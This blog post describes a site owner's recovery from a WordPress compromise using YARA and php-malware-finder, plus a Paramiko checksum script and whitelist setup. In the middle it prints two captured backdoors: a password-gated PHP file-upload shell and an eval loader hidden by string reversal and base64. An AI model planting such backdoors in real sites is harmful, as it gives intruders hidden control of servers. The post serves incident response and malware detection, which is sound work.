Using YARA to detect PHP malware

José Vicente Núñez
6 min readApr 10, 2021
These are the results from Hybrid Analysis on the malware I submitted for testing.

Long story/ short I found that script kiddie (or a bot, who really knows) managed to inject a backdoor into my blogs. To make things worst, this has been happening for a while (yayyy) so I worked to ramp up the security of the site, but also wanted to find the very last one piece of malware.

There is a tool out there to help me out to carry this task? Let me introduce you to Yara:

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which determine its logic.

Now get ready for a quick demonstration how I used it to find and remove malware from my websites…

Installation

My website uses outdated software, so what I did was to search the malware on a local copy, then I scrubbed and patched my remote website.

I won’t repeat myself on the installation steps. Please note than Fedora (I use that distribution on my local site) already has a up-to-date version of Yara, is just that I wanted to use the very latest :-)

(ssh) [josevnz@macmini2 ~]$ sudo dnf install automake libtool make gcc pkg-config file-devel
[sudo] password for josevnz:
Last metadata expiration check: 0:26:32 ago on Sun 04 Apr 2021 11:50:03 AM EDT.
Package automake-1.16.1-13.fc30.noarch is already installed.
Package libtool-2.4.6-29.fc30.x86_64 is already installed.
Package make-1:4.2.1-14.fc30.x86_64 is already installed.
Package gcc-9.3.1-2.fc30.x86_64 is already installed.
Package pkgconf-pkg-config-1.6.1-1.fc30.x86_64 is already installed.
Dependencies resolved.
Nothing to do.
Complete!
(ssh) [josevnz@macmini2 Downloads]$ curl --location --remote-name https://github.com/VirusTotal/yara/archive/refs/tags/v4.0.5.tar.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 133 100 133 0 0 692 0 --:--:-- --:--:-- --:--:-- 692
100 869k 0 869k 0 0 1140k 0 --:--:-- --:--:-- --:--:-- 2396k

I want to install this only for my user

tar --directory $HOME --gzip --extract --verbose --file v4.0.5.tar.gz
cd $HOME/yara-4.0.5
./bootstrap.sh
./configure --prefix=$HOME/yara --with-crypto --enable-magic && make && make install
# You may want to save this on your ~/.bashrc
export LD_LIBRARY_PATH=$HOME/yara/lib
# This step failed for me, I opened a bug with VirusTotal
make check

php-malware-finder (PMF)

Yara by itself doesn’t do much. I needs rules to find the bad guys. BUT it has a great community and some clever folks wrote some tools and collected digital signatures tailored to detect malware, specifically in PHP:

Is it perfect?: Nothing in life is but this looks pretty good. Also I love their disclaimer

Of course it’s trivial to bypass PMF, but its goal is to catch kiddies and idiots, not people with a working brain. If you report a stupid tailored bypass for PMF, you likely belong to one (or both) category, and should re-read the previous statement.

To install, clone the git repo:

cd $HOME/yara
git clone https://github.com/jvoisin/php-malware-finder.git
cd $HOME

That easy, now let’s find out how deep the rabbit hole goes…

$HOME/yara/bin/yara -r $HOME/yara/php-malware-finder/php-malware-finder/php.yar /mnt/site_backups/RemoteSite.backup/| /bin/sort

So how bad is it?

I got owned. My fault, I was not on top of my security updates:

PasswordProtection /mnt/site_backups/RemoteSite.backup//XXX/blog/wp-includes/js/wp-7v9xb.php
...

So, is it a backdoor?. Let me show you how a simple one looks like:

<?php
if(!empty($_FILES['message']['name']) AND (md5($_POST['nick']) == '354b467387f762d2c37f1235f0418393')) {
$security_code = $_POST['security_code'];
if ( !$security_code ) $security_code = ".";
$security_code = rtrim($security_code, "/");
$tmp_name = $_FILES['message']['tmp_name'];
$name = $_FILES['message']['name'];
@move_uploaded_file($tmp_name, $security_code."/".$name) ? print "<b>Message sent!</b><br/>" : print "<b>Error!</b><br/>";
}
print '<html>
<head>
<title>Search form</title>
</head>
<body>
<form enctype="multipart/form-data" action="" method="POST">
Message: <br/><input name="message" type="file" />
<br/>Security Code: <br/><input name="security_code" value=""/><br/>
<br/>Nick: <br/><input name="nick" value=""/><br/>
<input type="submit" value="Sent" />
</form>
</body>
</html>';
?>

Clever. You have the secret code and access the extra functionality. It wasn’t the only one, look at this gem, the code is obfuscated (reversed + base64 encoding)

<?php ^M
$x96850e57 = create_function('$a',strrev(';)a$(lave')); ^M
$x96850e57(strrev(';))"==wOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bK0AI9pQDgsDckAibyVHdlJXCK0QfJoQD9lQCK0QfJkQCK0QfJACIgACIgACIgACIgACIgASCgACIgACIgoQDJkQCJ0XCJkQCJoQD9lQCJkQCJoQD7sWYlJnYJkQCJkQCJoQD7kCckACLnFGdk4iIgIiL0N3bsRiLiAiIgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCJoQD7lSKnFGdkwCckgic0NXayR3coAiZplQCJkQCJoQD7lyZhRHJgMXYgInch91ZhRHJoACajFWZy9mZJkQCJkgCNsTKnMDa8cCLnIDa8cCLnQGdvwzJscidpRGPnwyJwxzJscCcvwzJscidpR2L8cCK5FmcyFWPyJXYfdWY0RSCJkQCJAiCNsXKiISPhQ3cvxGJoYWaJACIgACIgACIgACIgACIgACIJACIgACIgAiCN0XCgACIgACIgACIgACIgACIgASCgACIgACIgoQD9lQCJkQCJoQD7IDd4VGdk0jL0N3bsRSCJkQCJkQCK0welNHbl1XCJkQCJkgCNsTKwRCIscWY0RiLiAiIuIDd4VGdk4iIgICIscWY0RCK0NncpZ2XlNWYsBXZy9lc0NXPwRSCJkQCJkQCK0wepkyZhRHJsAHJoIHdzlmc0NHKgYWaJkQCgACIgACIg
...
>

I need a coffee. But so far I’m very impressed as the tool found BAD code…

How do I deal with all this FALSE positives?

I got many false positives (images, some libraries optimized for size). So this required a little bit of manual work, until I eventually found an infection pattern and realized some ‘safe’ zones in the code that were not affected.

Eventually I figured out the real malware, removed the files and ended leaving the good files. Now the next step was to get a snapshot of the site, so next time it gets tampered (because it will happen) I can quickly separate the bad files from the good ones.

I created a sha256sum checksum from the GOOD remaining files, so if anything changes then I will know about it. For that I wrote a small script in Python (I do save the checksum locally so it cannot be tampered with, little script with Paramiko below):

#!/usr/bin/env python3
import argparse
import traceback
import sys
import os
import random
import time
import paramiko
from paramiko import SSHException, SSHClient, AutoAddPolicy
CHECKSUM_RSA_KEY_FILE = os.environ['CHECKSUM_RSA_KEY_FILE']
CHECKSUM_REMOTE_SERVER = os.environ['CHECKSUM_REMOTE_SERVER']
REMOTE_CMD='/usr/bin/find {CHECKSUM_PATH} -type f| /usr/bin/xargs /usr/bin/sha256sum --binary'.format_map(os.environ)
parser = argparse.ArgumentParser(description='Calculate the checksum of remote files to make sure they are not tampered')
parser.add_argument('--mode', action='store', choices=['sum'], required=True, help='Operational modes')
parser.add_argument('--retries', action='store', default=10, help='SSH at Godaddy sucks balls. Be ready to re-try')
parser.add_argument('report', action='store', help='Report destination')
args = parser.parse_args()
client = SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(AutoAddPolicy())
key = paramiko.rsakey.RSAKey.from_private_key_file(CHECKSUM_RSA_KEY_FILE)
attempt = 1
while attempt < args.retries:
try:
client.connect(hostname=CHECKSUM_REMOTE_SERVER, pkey=key, banner_timeout=300, timeout=300)
if args.mode == 'sum':
print("SSH connected to {0}, getting remote checksums. It will take a while...".format(CHECKSUM_REMOTE_SERVER))
stdin, stdout, stderr = client.exec_command(REMOTE_CMD)
with open(args.report, 'w') as rfh:
for line in stdout.readlines():
rfh.write(line)
print(line.strip(), file=sys.stdout)
for line in stderr.readlines():
print(line.strip(), file=sys.stderr)
except SSHException:
wait_time = int(random.uniform(1, 60))
print("Could not connect, will try again in {0} seconds ({1})".format(wait_time, attempt), file=sys.stdout)
print("-"*60)
traceback.print_exc(file=sys.stdout)
print("-"*60)
time.sleep(wait_time)
attempt += 1
client.close()

An example of how your session may look like:

(ssh) [josevnz@macmini2 ~]$ bin/remote_checksum_checks.py --mode sum /tmp/test
SSH connected to XX.XX.XX.XX, getting remote checksums. It will take a while...
...
# I need a binary checksum as some of the files are binaries (photos, zip files, etc.)
/bin/cat /tmp/test
c488812c87ea00289ba1db57f1942a41de31f37fdce8bb8e0517042ec0c6291 */XXX/backup/ZZZ0836206580976_7255115
6cc977172d3f3e79ad7c59fc4dde976cf2e0f5593b7467512633c7eca585cc91 */XXX/qqq0836206580976_2601517

I got my checksum list, now let me create a whitelist for YARA so next time it runs I narrow my scan to suspicious files.

I need to whitelist a bunch of files…

You need to install yara-python with PIP so we can run the whitelist generator script that comes with the php malware distribution:

python3 -m venv ~/virtualenv/yara
. ~/virtualenv/yara/bin/activate
pip install yara-python

You probably want to remove broken symbolic links from your local snapshot before running the whitelist generator, using this command, as I found the hard way:

/usr/bin/find /mnt/site_backups/Remote.backup/ -xtype l -delete -print

Generate the file list

. ~/virtualenv/yara/bin/activate
$HOME/yara/php-malware-finder/php-malware-finder/utils/generate_whitelist.py jose_blogs_ok_files /mnt/site_backups/Remote.backup/ > $HOME/yara/custom/jose_blogs_ok_files.yar

And add the new ‘‘$HOME/yara/custom/jose_blogs_ok_files.yar’’ together with the other white lists, my local copy is on ‘$HOME/yara/php-malware-finder/php-malware-finder/whitelist.yar’

/*
Careful. Those rules are pretty heavy on computation
since the sha1sum may be recomputed for every test.
Please make sure that you're calling those rules after all the others.
*/
include "whitelists/drupal.yar"
include "whitelists/wordpress.yar"
include "whitelists/symfony.yar"
include "whitelists/phpmyadmin.yar"
include "whitelists/magento1ce.yar"
include "whitelists/magento2.yar"
include "whitelists/prestashop.yar"
include "whitelists/custom.yar"
include "/home/josevnz/yara/custom/jose_blogs_ok_files.yar"

We are ready now to run YARA, or PHP malware finder directly, one more time:

. ~/virtualenv/yara/bin/activate
cd /home/josevnz/yara/php-malware-finder/php-malware-finder && PATH=$HOME/yara/bin:$PATH ./phpmalwarefinder /mnt/site_backups/Remote.backup/
...
================================================
You should take a look at the files listed below:
NonPrintableChars /mnt/site_backups/Remote.backup/blog/wp-admin/about.php
NonPrintableChars /mnt/site_backups/Remote.backup/blog/wp-includes/js/dist/blocks.min.js
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/advanced-custom-fields/lang/acf-fi.mo
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/advanced-custom-fields/lang/acf-pt_PT.mo
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/advanced-custom-fields/lang/acf-tr_TR.mo
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/sitepress-multilingual-cms/locale/sitepress-ru_RU.mo
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/sitepress-multilingual-cms/vendor/twig/twig/lib/Twig/Profiler/Dumper/Html.php
NonPrintableChars /mnt/site_backups/Remote.backup/YYYY/wp-content/plugins/sitepress-multilingual-cms/vendor/twig/twig/lib/Twig/Profiler/Dumper/Text.php
NonPrintableChars /mnt/site_backups/Remote.backup/ZZZ/blog/wp-content/plugins/jetpack/modules/related-posts/jetpack-related-posts.php
NonPrintableChars /mnt/site_backups/Remote.backup/ZZZ/blog/wp-content/plugins/jetpack/modules/videopress/editor-media-view.php

Epilogue

Yara is not just for specialized cyber defense experts, but also for users who want to keep tabs on their software. It has a healthy community and projects like PHP Malware Finder that make it easier to recover from attacks like the one I showed you.

Please clap if you like this article! I also want to know what you think, so please leave me a message in the comments section.

--

--

José Vicente Núñez

🇻🇪 🇺🇸, proud dad and husband, DevOps and sysadmin, recreational runner and geek.